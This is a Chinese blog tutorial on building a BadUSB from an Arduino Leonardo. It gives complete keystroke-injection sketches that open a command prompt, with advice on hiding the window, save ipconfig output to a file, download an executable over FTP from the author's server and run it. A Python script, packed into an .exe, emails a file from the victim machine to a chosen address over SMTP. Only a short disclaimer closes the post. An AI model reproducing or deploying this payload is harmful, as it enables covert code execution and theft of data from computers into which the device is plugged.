基于Arduino Leonardo的进阶Badusb(Python+SMTP)

今天要做的badusb跟上一期比,不太一样的地方是,我加了一个发送邮件的功能,具体来说,就是插入开发板以后,程序自动把该机器的ip地址获取下来,并以邮件的形式发送给指定的收件人.先来看看效果吧:

进阶版BADUSB操作演示

为了让大家看的比较清楚,我没有加入隐藏的功能,这个功能在实际应用中可以加上:

cmd /c start /min

这样就能在打开命令行后,最大化地隐蔽操作.

发送邮件的功能,可以用SMTP实现:
在这里插入图片描述

#include <Keyboard.h>

void setup() {//初始化
  Keyboard.begin();//开始键盘通讯 
  delay(1000);//延时
  Keyboard.press(KEY_LEFT_GUI);//win键 
  Keyboard.press('r');//r键 
  Keyboard.release('r');
  delay(500); 
  Keyboard.release(KEY_LEFT_GUI); 
  delay(1000);
  Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法 
  Keyboard.release(KEY_CAPS_LOCK);
  delay(500); 
  Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
  Keyboard.release(KEY_CAPS_LOCK);
  delay(1000); 
  Keyboard.println("cmd"); //"cmd /c start /min"最大化隐蔽操作
  delay(500); 
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(2500); 
  Keyboard.println("telnet smtp.qq.com 25");
  delay(100); 
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(2000);
  Keyboard.println("helo qq.com"); 
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(500);
  Keyboard.println("auth login");
  delay(500);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(500);
  Keyboard.println("base格式的账号");
  delay(500);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(500);
  Keyboard.println("base格式的密码");
  delay(500);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(500);
  Keyboard.println("mail from:<[email protected]>");
  delay(500);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(500);
  Keyboard.println("rcpt to:<[email protected]>");
  delay(500);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(500);
  Keyboard.println("data");
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(500);
  Keyboard.println("subject:hello");
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(500);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(500);
  Keyboard.println("Email test!");
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(500);
  Keyboard.println(".");
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);

  Keyboard.end();//结束键盘通讯 
}
void loop()//循环
{}
  • mail from:发件人的邮箱地址
  • rcpt to:收件人的邮箱地址
  • data:邮件内容(固定格式)
  • subject:邮件主题
  • 最后的"."代表正文结束,回车后自动发送
    在这里插入图片描述
    以上就是接收到的邮件,发件人和收件人可以写一个地址.

但是,这个方法还太基础,只能根据提前编好的邮件内容发送邮件,想要实现更高级的功能,请继续往下看:

在这里插入图片描述
以下是接收到的邮件:
在这里插入图片描述
这是一个带附件的邮件.

简单来说,当我们插入开发板后,程序能把该机器的文件,以邮件的形式,发送出去.

这一部分的功能,我是用Python写的,以下是代码:

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.header import Header

导入必要的资源包

# 第三方 SMTP 服务
mail_host=""  #设置服务器
mail_user=""    #用户名
mail_pass=""   #口令
sender = ""
receivers = [""]  # 接收邮件,可设置为你的QQ邮箱或者其他邮箱

设置必要的信息

#创建一个带附件的实例
message = MIMEMultipart()
message['From'] = Header("badusb", 'utf-8')
message['To'] =  Header("测试", 'utf-8')
subject = 'BADUSB 邮件测试'
message['Subject'] = Header(subject, 'utf-8')

subject改成自己的邮件主题

#邮件正文内容
message.attach(MIMEText('邮件发送测试', 'plain', 'utf-8'))

输入你想呈现的邮件正文

# 构造附件,传送当前目录下的 test.txt 文件
att = MIMEText(open('D:\ipconfig.txt', 'rb').read(), 'base64', 'utf-8')
att["Content-Type"] = 'application/octet-stream'
# 这里的filename可以任意写,写什么名字,邮件中显示什么名字
att["Content-Disposition"] = 'attachment; filename="test.txt"'
message.attach(att)
server = smtplib.SMTP_SSL(mail_host, 465) # SMTP协议默认端口是25
server.set_debuglevel(1)
server.login(mail_user, mail_pass)

att里的地址改成附件的本地地址

try:
    server.sendmail(sender, receivers, message.as_string())
    print ("邮件发送成功")
except smtplib.SMTPException:
    print ("Error: 无法发送邮件")

发送邮件

当然,在一台没有安装python的机器上,肯定是不能运行 .py 文件的,因此,我们还要把这个文件打包成 .exe 文件:
在这里插入图片描述
打包成 . exe 文件要用到一些工具,不是直接改后缀那么简单
在这里插入图片描述
从文件大小上也可以看出,变成 .exe 文件后,其大小可不只是源文件的一两倍,以下是具体打包方法:

  1. 安装pyinstaller
  2. 找到pyinstaller的安装目录
  3. 将我们要打包的程序copy至pyinstaller的安装目录下
  4. 打开cmd,找到该路径
  5. 输入命令pyinstaller -F badusb_email.py

然后,我们先把打包好的可执行文件放到服务器里:
在这里插入图片描述
如果资金允许的话,放在云服务器上也是可以的

发送邮件的功能在这里就暂告一段落了,在实际应用中,我们可能很难找到想要的文件,因此,我们可以自己创建一个文件.我今天拿ip地址来举例子.

在这里插入图片描述
如果我就想要命令行的输出内容,那么,我就把输出内容保存下来:

在这里插入图片描述
这样,这句命令的输出内容就可以保存到D盘的 ipconfig.txt 文件了:
在这里插入图片描述
好了,接下来,我们就可以给开发板上传代码了:

#include <Keyboard.h>

void setup() {//初始化
  Keyboard.begin();//开始键盘通讯 
  delay(1000);//延时
  Keyboard.press(KEY_LEFT_GUI);//win键 
  Keyboard.press('r');//r键 
  Keyboard.release('r');
  delay(500); 
  Keyboard.release(KEY_LEFT_GUI); 
  delay(1000);
  Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法 
  Keyboard.release(KEY_CAPS_LOCK);
  delay(500); 
  Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
  Keyboard.release(KEY_CAPS_LOCK);
  delay(1000); 
  Keyboard.println("cmd"); //"cmd /c start /min"最大化隐蔽操作
  delay(500); 
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(2500); 
  Keyboard.println("ipconfig > D:\\ipconfig.txt"); 
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(2500); 
  Keyboard.println("ftp ip地址");
  delay(1000); 
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(2000);
  Keyboard.println("Administrator"); 
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(1000);
  Keyboard.println("123456789");
  delay(500);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(500);
  Keyboard.println("lcd D:\\");
  delay(500);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(500);
  Keyboard.println("get badusb_email.exe");
  delay(500);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(500);
  Keyboard.println("quit");
  delay(500);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(500);
  Keyboard.println("D:\\badusb_email.exe");
  delay(500);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  
  Keyboard.end();//结束键盘通讯 
}
void loop()//循环
{}

在这里插入图片描述
如果你能把以上程序调通,就说明你的badusb已经做好啦!

最后,我想说:“技术是服务于人的,在技术能力增强的同时,应该要更多地意识到技术的双面性,从人出发,而不是从产品出发.”

本文存在一定的攻击性,请勿用于非法用途,一切责任与本人无关。

在这里插入图片描述

发布了32 篇原创文章 · 获赞 63 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/zbp_12138/article/details/103681488
今日推荐